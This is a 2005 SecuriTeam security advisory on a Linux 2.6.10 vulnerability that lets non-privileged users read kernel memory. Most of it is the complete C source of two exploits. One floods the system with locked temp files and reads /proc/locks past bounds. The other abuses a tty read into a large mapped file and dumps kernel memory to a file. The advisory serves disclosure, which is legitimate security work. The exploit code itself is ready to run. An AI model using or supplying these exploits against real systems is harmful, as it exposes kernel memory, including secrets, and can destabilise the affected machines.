[EXPL] Linux Vulnerability Allows Non-Privileged Users to Read Kernel Memory

From: SecuriTeam (support_at_securiteam.com)
Date: 02/21/05

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Date: 21 Feb 2005 13:00:49 +0200

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      Linux Vulnerability Allows Non-Privileged Users to Read Kernel Memory
    ------------------------------------------------------------------------

    SUMMARY

    The Linux operating system version 2.6.10 and prior contains a
    vulnerability that allows non-privileged users to read kernel memory. The
    following two exploits illustrate the issue.

    DETAILS

    Vulnerable Systems:
     * Linux version 2.6.10 and prior

    Exploit #1:
    /*
    * copyright georgi guninski
    * cannot be used in vulnerability databases like securityfocus and mitre
    *
    * */
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/mman.h>
    #include <sys/file.h>
    #include <syscall.h>
    #include <errno.h>

    _syscall5(int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res,
    uint, wh)

    void makefiles()
    {
    int cou,fv;
    char vn[242];
    for(cou=0;cou<920;cou++)
    {
    snprintf(vn,sizeof(vn),"TEMPFILEMAYBEDELETE%d.%d",getpid(),cou);
    fv=open(vn,O_CREAT|O_RDWR,S_IRWXU);
    if (fv <0) perror("open2");
    if (flock(fv,LOCK_EX) == -1) perror("flock");

    }
    while(42);
    }

    int main(int ac, char **av)
    {
    int fd,fv,i,cou;
    void *mv;
    char *he,*he2;
    loff_t lr;
    char c;

    printf("\n\nThis may seriously screw your box\n\n");
    printf("This creates a lot of files 'TEMPFILEMAYBEDELE*' in cwd\n");
    printf("Press 'Y' to run it\n");
    read(0,&c,1);
    if (c != 'Y') return 42;
    cou=5;
    printf("creating files...\n");
    while(cou--)
    if (!fork())
    makefiles();

    sleep(20);
    printf("starting...\n");
    system("sync");
    fd=open("/proc/locks",O_RDONLY);
    if (fd <0) perror("open");
    he=malloc(1024*1024*8);
    he2=malloc(1024*1024*8);

    if (-1 == _llseek(fd,42,0x80004242,&lr,SEEK_SET)) perror("llseek");
    i=read(fd,he2, 0x80004242);
    perror("read");
    printf("read=%d mv=%x fv=%x\n %.300s",i,(int)mv,fv,he2);
    while(42);
    return 42;
    }

    Exploit #2:
    /*
    * Copyright Georgi Guninski
    * Cannot be used in vulnerability databases like security focus and mitre
    * */
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <linux/vt.h>
    #include <sys/vt.h>
    #include <sys/ioctl.h>
    #include <string.h>
    #include <unistd.h>
    #include <term.h>
    #include <sys/mman.h>

    int main(int ac, char **av)
    {
    int fd,fv;
    int cou=4242,i;
    char *bu;
    struct termios ti;
    struct termios ol;
    char zer[1024];

    fd=open("/dev/tty",O_RDWR);
    if (fd<0) {perror("open");return -42;}
    memset(&ti,0,sizeof(ti));
    fv=open("kmem1",O_CREAT|O_RDWR|O_TRUNC,S_IRWXU);
    if (fv <0 ) perror("open2");

    /* how much to read in kilobytes*/
    i=40*1024;

    memset(zer,0,sizeof(zer));
    while(i--) write(fv,zer,sizeof(zer));

    bu=mmap(0,0x80000000,PROT_READ|PROT_WRITE,MAP_SHARED,fv,0);
    if (-1 == (long) bu) perror("mmap");
    printf("bu=%x\n",(int)bu);
    if (ioctl(fd,TCGETS,&ti) < 0) perror("TCGETS");
    ol=ti;
    ti.c_lflag &= (~ICANON & ~ISIG & ~ICRNL & ~IXON & ~OPOST );
    if (ioctl(fd,TCSETS,&ti) < 0) perror("TCSETS");
    if (!fork())
    {sleep(3);ioctl(fd,TIOCSTI,&cou);exit(0);};
    sleep(2);
    cou=read(fd,bu,0x80000000);
    printf("read=%d\n",cou);
    perror("read");

    if (ioctl(fd,TCSETS,&ol) < 0) perror("TCSETS");
    printf("done. check 'kmem1'");
    system("reset");
    return 42;
    }

    ADDITIONAL INFORMATION

    The information has been provided by Georgi Guninski.

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